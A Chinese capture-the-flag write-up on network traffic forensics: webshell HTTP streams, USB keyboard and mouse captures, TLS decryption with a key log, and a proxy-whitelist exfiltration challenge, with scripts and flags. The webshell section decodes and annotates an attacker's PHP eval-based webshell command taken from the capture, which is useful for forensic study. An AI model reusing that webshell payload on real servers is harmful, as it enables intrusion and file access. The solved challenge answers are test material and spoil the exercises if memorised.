CTF http流分析

5 阅读7分钟

http流量分析

使用Wiershark打开题目所给的pcapng文件,发现shell.phpimage-20260303075528394.png

右键点击追踪流-"http stream"image-20260303081950599.png

找到flag: flag{This_is_a_f10g}

webshell流量分析

使用wireshark打开题目,发现数据庞大image-20260303121236503.png

搜索"http",发现上传点被上传了马image-20260303121342927.png

追踪http流,通过搜索搜到上传点下有flag.txtimage-20260303121714853.png

再继续查看,发现攻击者执行了很多命令,将变量action解码,其中有无效字符,先进行url解码,把%2B解为+,再进行base64解码image-20260303132558970.png

这是base64,上面的是baseXimage-20260303132703373.png

经过url解码后的结果:

依旧无效字符

image-20260303133003933.png

但用baseX:image-20260303133109984.png

发现无效字符在末尾,原来是没有细看之前的代码,忘了还要传z1这个变量,重新解码后整理的结果

aa=@eval.(base64_decode($_POST[action]));&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR://Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=D:\wamp64\www\upload

分析:

//关闭错误显示,避免在攻击过程中暴露错误信息
@ini_set("display_errors","0");
//解除脚本执行时间限制,允许长时间运行(如遍历大量文件)
@set_time_limit(0);
//关闭魔术引号(PHP安全特性,已废弃),确保输入数据不被转义
@set_magic_quotes_runtime(0);
//输出开始分隔符,用于客户端识别返回数据的开始
echo("->|");
//获取POST参数'z1'的值(Base64编码的目录路径),并解码得到真实路径
$D = base64_decode($_POST["z1"]);
//尝试打开指定目录句柄
$F = @opendir($D);
//如果目录打开失败(路径不存在或无权限),输出错误信息
if($F == NULL) {
    echo("ERROR://Path Not Found Or No Permission!");
} else {
    //初始化变量:$M用于存储子目录列表,$L用于存储文件列表
    $M = NULL;
    $L = NULL;    
    //循环读取目录中的每一个条目(文件或子目录)
    while($N = @readdir($F)) {
        //构建完整路径
        $P = $D . "/" . $N;        
        //获取文件修改时间并格式化为"年-月-日 时:分:秒"
        $T = @date("Y-m-d H:i:s", @filemtime($P));        
        //获取文件权限(八进制),取最后4位(如0755)
        @$E = substr(base_convert(@fileperms($P), 10, 8), -4);        
        //构建条目信息:制表符分隔的[时间][大小][权限],末尾换行
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";        
        //判断是否为目录:是则添加到$M(目录列表),否则添加到$L(文件列表)
        if(@is_dir($P))
            $M .= $N . "/" . $R;  //目录名后加"/"
        else
            $L .= $N . $R;        //文件名直接拼接    
    }
    //输出所有目录和文件列表(先目录后文件)
    echo $M . $L;    
    //关闭目录句柄
    @closedir($F);
}
//输出结束分隔符,表示数据传输完毕
echo("|<-");
//终止脚本执行
die();
//传入参数z1读取D:\wamp64\www\upload目录下的文件
z1=D:\wamp64\www\upload

发现后面的都是查看目录,再找一个数据包追踪"http stream"

攻击者主要是使用/upload/1.php通过POST方法执行命令的,观察攻击者的行为

http.request.method == "POST" and http.request.uri contains "/upload/1.php"

image-20260303141218437.png

发现大多请求的长度在770左右,5033的数据包尤为突兀

发现此数据包多了z2参数,分析其http流image-20260303141958761.png

数据太长了直接拉到最下面,发现upload目录多了6666.jpg,看来是上传了图片,z2就是用于传入图片的,而通过观察判断z2参数为十六进制image-20260303142505266.png

另存为一个txt文件,将非16进制字符删除,ctrl+A全选复制,到在线网站在线十六进制转图片—LZL在线工具进行转图

pwd.jpg

图片上印着好像是密码,分析一下图片image-20260303144329260.png

图片是正常的,继续查看后续的数据包,发现有两个长度仅有425左右image-20260303144653089.png

继续追踪,通过回显排除没太大用处的信息,一直翻到最下面image-20260303145003404.png

发现了一个压缩包数据,点击此回显区域的任意位置,定位到原数据包image-20260303150503808.png

右键此数据包复制为base64或者hex,拿到刚才用到的在线转图片网站进行转图后下载图片image-20260303150951778.png

再拿给foremost文件提取工具进行提取zip(也可以直接保存为hex到kali的binwalk提取)

解压得到一个压缩包image-20260303151220547.png

解压提示需要密码,输入之前得到的图片上的密码:Th1s_1s_p4sswd_!!!

拿到flag:flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

应该一开始就使用过滤命令http.request.method == "POST" and http.request.uri contains "/upload/1.php"并通过时间线进行分析的,也不至于我大费周章去解码base64了

[NISACTF 2022]破损的flag

题目给了一个不知类型的文件,用010打开获取文件头"D4 C3 B2 A1"并在网上搜索,得出这是一个pcap文件,使用wireshark打开,发现全是USB协议的image-20260303154742052.png

查看到Leftover Capture Data(剩余捕获数据)部分的大都在第三字节发生变化,且有8字节

Leftover Capture Data: 00 00 10 00 00 00 00 00
Leftover Capture Data: 00 00 0e 00 00 00 00 00
Leftover Capture Data: 00 00 0b 00 00 00 00 00
...

猜测为USB键盘输入流量,导出为纯文本并提取剩余捕获数据部分image-20260303183151706.png

image-20260303183250837.png

脚本

写一个脚本提取数据

import re
with open('5.txt', 'r') as f:
    lines = f.readlines()
usb_data = []
for line in lines:
    match = re.search(r'Leftover Capture Data: ([0-9a-fA-F]{16})', line)
    if match:
        hex_data = match.group(1)
        if hex_data[4:6] != '00':
            usb_data.append(hex_data)
with open('usb.txt', 'w') as f:
    for data in usb_data:
        f.write(data + '\n')
print("done")

将提取到的数据一一对照,得到键盘输入

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# USB HID键盘扫描码映射表
NORMAL_KEYS = {
    0x04: "a", 0x05: "b", 0x06: "c", 0x07: "d", 0x08: "e", 0x09: "f",
    0x0a: "g", 0x0b: "h", 0x0c: "i", 0x0d: "j", 0x0e: "k", 0x0f: "l",
    0x10: "m", 0x11: "n", 0x12: "o", 0x13: "p", 0x14: "q", 0x15: "r",
    0x16: "s", 0x17: "t", 0x18: "u", 0x19: "v", 0x1a: "w", 0x1b: "x",
    0x1c: "y", 0x1d: "z", 0x1e: "1", 0x1f: "2", 0x20: "3", 0x21: "4",
    0x22: "5", 0x23: "6", 0x24: "7", 0x25: "8", 0x26: "9", 0x27: "0",
    0x28: "<RET>", 0x29: "<ESC>", 0x2a: "<DEL>", 0x2b: "\t", 0x2c: "<SPACE>",
    0x2d: "-", 0x2e: "=", 0x2f: "[", 0x30: "]", 0x31: "\\", 0x32: "<NON>",
    0x33: ";", 0x34: "'", 0x35: "<GA>", 0x36: ",", 0x37: ".", 0x38: "/",
    0x39: "<CAP>", 0x3a: "<F1>", 0x3b: "<F2>", 0x3c: "<F3>", 0x3d: "<F4>",
    0x3e: "<F5>", 0x3f: "<F6>", 0x40: "<F7>", 0x41: "<F8>", 0x42: "<F9>",
    0x43: "<F10>", 0x44: "<F11>", 0x45: "<F12>"
}

SHIFT_KEYS = {
    0x04: "A", 0x05: "B", 0x06: "C", 0x07: "D", 0x08: "E", 0x09: "F",
    0x0a: "G", 0x0b: "H", 0x0c: "I", 0x0d: "J", 0x0e: "K", 0x0f: "L",
    0x10: "M", 0x11: "N", 0x12: "O", 0x13: "P", 0x14: "Q", 0x15: "R",
    0x16: "S", 0x17: "T", 0x18: "U", 0x19: "V", 0x1a: "W", 0x1b: "X",
    0x1c: "Y", 0x1d: "Z", 0x1e: "!", 0x1f: "@", 0x20: "#", 0x21: "$",
    0x22: "%", 0x23: "^", 0x24: "&", 0x25: "*", 0x26: "(", 0x27: ")",
    0x28: "<RET>", 0x29: "<ESC>", 0x2a: "<DEL>", 0x2b: "\t", 0x2c: "<SPACE>",
    0x2d: "_", 0x2e: "+", 0x2f: "{", 0x30: "}", 0x31: "|", 0x32: "<NON>",
    0x33: '"', 0x34: ":", 0x35: "<GA>", 0x36: "<", 0x37: ">", 0x38: "?",
    0x39: "<CAP>", 0x3a: "<F1>", 0x3b: "<F2>", 0x3c: "<F3>", 0x3d: "<F4>",
    0x3e: "<F5>", 0x3f: "<F6>", 0x40: "<F7>", 0x41: "<F8>", 0x42: "<F9>",
    0x43: "<F10>", 0x44: "<F11>", 0x45: "<F12>"
}

def parse_line(line):
    """解析USB数据行"""
    line = line.strip()
    
    if len(line) == 16:
        is_shift = line[1] == '2'
        scan_code = int(line[4:6], 16)
        
        if scan_code != 0:
            if is_shift:
                return SHIFT_KEYS.get(scan_code)
            else:
                return NORMAL_KEYS.get(scan_code)
    
    elif len(line) == 24:
        is_shift = line[1] == '2'
        scan_code = int(line[6:8], 16)
        
        if scan_code != 0:
            if is_shift:
                return SHIFT_KEYS.get(scan_code)
            else:
                return NORMAL_KEYS.get(scan_code)
    
    return None

def process_output(output):
    """处理大写锁定和删除键"""
    result = []
    caps_lock = False
    
    for char in output:
        if char == "<DEL>":
            if result:
                result.pop()
        elif char == "<CAP>":
            caps_lock = not caps_lock
        else:
            if caps_lock and char.isalpha():
                result.append(char.upper())
            else:
                result.append(char)
    
    return result

if __name__ == "__main__":
    raw_output = []
    
    try:
        with open('data.txt', 'r') as f:
            for line in f:
                char = parse_line(line)
                if char:
                    raw_output.append(char)
        
        final_output = process_output(raw_output)
        print("原始输出:", ''.join(raw_output))
        print("最终输出:", ''.join(final_output))
        
    except FileNotFoundError:
        print("错误:找不到文件")
原始输出: ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji
最终输出: ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji

在线网站

USB键盘/鼠标流量分析工具image-20260303203053583.png

ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji

工具

UsbKeyboardDataHacker

下载:git clone https://gitclone.com/github.com/WangYihang/UsbKeyboardDataHacker.git

安装:

python环境,先安装pyenv(这里就不赘述)

安装python3.12或者3.10,3.13不适合

export PYTHON_BUILD_MIRROR_URL="https://registry.npmmirror.com/-/binary/python"
export PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1
pyenv install 3.12.12
cd UsbKeyboardDataHacker
pyenv local 3.12.12
python -m pip install poetry -i https://pypi.tuna.tsinghua.edu.cn/simple

修改项目镜像源:

nano pyproject.toml

添加:

[[tool.poetry.source]]
name = "tsinghua"
url = "https://pypi.tuna.tsinghua.edu.cn/simple/"

image-20260303215910284.png

poetry lock
poetry install

忽略报错,直接使用image-20260303220318708.png

poetry run python UsbKeyboardDataHacker.py --input atta.pcap

image-20260303220516342.png

结果

发现结果在键盘上敲出来时,总有字母被围住,被围的就是对应的明文

键盘字符映射结果键盘字符映射结果
ujkoinjk,m
tfvbhgyhjiu
poklrdcvgf
rdcvgfpokl
qwszatfvbhg
ujkoiwazxds
qasewwsdre
poklxdfvc
iklponjkm
wsdrerfgyt
rdcvgfuhnmkj
bhjmnyhjiu

连起来就是imgulfflagiswelcometfjnu

根据单词意思拆分,fjnu是主办方福建师范大学缩写,名字又叫残缺的flag,所以得到的是残缺的flag,需要补全,故结果为"im gulf flag is welcome to fjnu",即flag:welcome_to_fjnu

借鉴:

黄金月河3.2

[NISACTF 2022]损坏的flag - snowhy的博客

键盘流量

通过翻找发现了键盘流量image-20260304070955146.png

直接拿到前面的工具网站,识别结果为空image-20260304102501227.png

应该是冗余数据过多,进行简单的过滤,仅获取从设备发送到主机的数据

usb.dst == "host"

再点击"文件"-"导出特定分组",将保存的数据再次放到工具网站image-20260304103049875.png

或者直接使用前面的工具UsbKeyboardDataHacker

poetry run python UsbKeyboardDataHacker.py --input USBkey.pcap

image-20260304103914863.png

也可以使用之前的脚本image-20260304104102042.png

得到flag:flag{helloworld!}

鼠标流量分析

同样的,前面用到的在线工具网站同样可以进行鼠标流量分析

依旧是要获取设备发送到主机的数据

usb.dst == "host"

保存后放到网站进行分析即可image-20260304105439072.png

不难看出,画的是"Hello",flag:flag{Hello}

TLS流量分析

wireshark打开,从最开始的时间线初步分析

"空气舵"开始登录http网站,会话经历TCP握手后出现许多TLS流量,表明被重要信息在http里,只不过被tls封装了image-20260304154237594.png

所以需要找到密钥,将封装的http解出,一般是通过HTTP明文传输泄露的,现在先过滤获得http协议的数据包image-20260304154420681.png

其中数据长度有个4241的,追踪看看image-20260304154543510.png

看来这就是密钥了,另存为"sslkey.log"

点击"编辑"-"首选项"-展开"Protocols"-找到"TLS"image-20260304155412536.png

image-20260304155519513.png

image-20260304155834414.png

应用即可

再次过滤出http数据包,发现被封装的http数据包被解出了image-20260304160938956.png

追踪多出来的http数据包,选包含"/User_API/"的数据包再合适不过了image-20260304165352931.png

找到了flag:flag{e3364403651e775bfb9b3ffa06b69994}

借鉴:

BUUCTF [第九章][9.3.3 TLS流量分析] Writeup_[第九章][9.3.3 tls流量分析]tls流量分析-CSDN博客(如果观看体验不佳,可以使用篡*猴*本猫)

[INSHack2019]Passthru

拿到题目,解压最大的压缩包,发现capture.pcapsslkey.log

很明显,是TLS流量分析,跟前面的操作一样,将sslkey.log作为密钥

进去发现没有头绪,看了介绍:

"You're part of a company security team and the admin has recently enabled interception on the company filtering proxy.

The admin is pretty confident when it comes to its domain whitelist.

He gave you a capture to review. Time to prove him wrong."

大致意思是:你是公司安全团队的一员,管理员最近启用了公司过滤代理的拦截功能。他对自己的域名白名单相当自信,并给了你一份抓包记录让你检查。是时候证明他错了。

也就是说只能访问白名单中的域名

先过滤一下看看有没有访问成功的特殊域名

http.response.code == 200

导出分组解析结果-为纯文本,再使用脚本提取域名并去重得到:

1: docs.python.org
2: en.cppreference.com
3: en.wikipedia.org
4: forensicswiki.org
5: images.google.com
6: www.bbc.com
7: www.google.com

好像没什么问题,看来这就是白名单了,这次就要寻找非白名单的url,很有可能是通过白名单域名重定向的

http.response.code == 302

果然有重定向的,管理员要失望了image-20260305133108857.png

随便找一个重定向数据包追踪一下http流image-20260305133324179.png

可以发现通过了image_url参数重定向到了一个路径,看看参数值:

http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f

即:http://requestbin.net/r/zk2s2ezk?id=8bd542b5-2056-489e-bc1c-4f028ef27894&kcahsni=26cd07e1f71df3dcee9f

这个requestbin.net是一个专门用于接收、检查和调试HTTP请求的云平台,创建一个“Bin”时,它会提供一个唯一的 URL,任何发送到该URL的请求都会被其捕获、存储并显示详情,比如我访问该网站所给URL的时候,加了参数a=bcd:image-20260305162903656.png

所以参数都是特意构造的,发现除了id这个参数外,还发现了另一个参数kcahsni,反过来就是inshack,就是这个赛名,分析其值26cd07e1f71df3dcee9f,盲猜hex,解出一堆乱码,这参数都特意构造了,就是从这参数入手的,前面不是有很多重定向的吗,可能每个请求的值都不一样,组合起来再解开看看

先过滤

http.request.uri contains "kcahsni" && http.request.method == GET

image-20260305173256119.png

导出分组解析结果并提取参数值即可

import re, binascii
#提取
with open('HACK.txt', 'r', encoding='utf-8') as f:
    matches = re.findall(r'kcahsni%3D([^&\s]+)', f.read())
#合并
merged = ''.join(dict.fromkeys(matches))
#解码
decoded = binascii.unhexlify(merged if len(merged)%2==0 else '0'+merged).decode('latin-1')
#逆序
print(decoded[::-1])

解出来结果为:

÷sþõeT£´&Íá÷óÜî¯rZ¹9hüRð<
}e59ad3f38a01dca00f9759e6d205317642c5421fcdad034ebe7077c2bddd472b{ASNI
2ÃÐl$ò¨ÇèfgÛ÷þÎ(EjÒJÂÆ¡.>þK

所以多了逆序步骤,最终运行结果image-20260305173015181.png

故flag为:INSA{b274dddb2c7707ebe430dadcf1245c246713502d6e9579f00acd10a83f3da95e}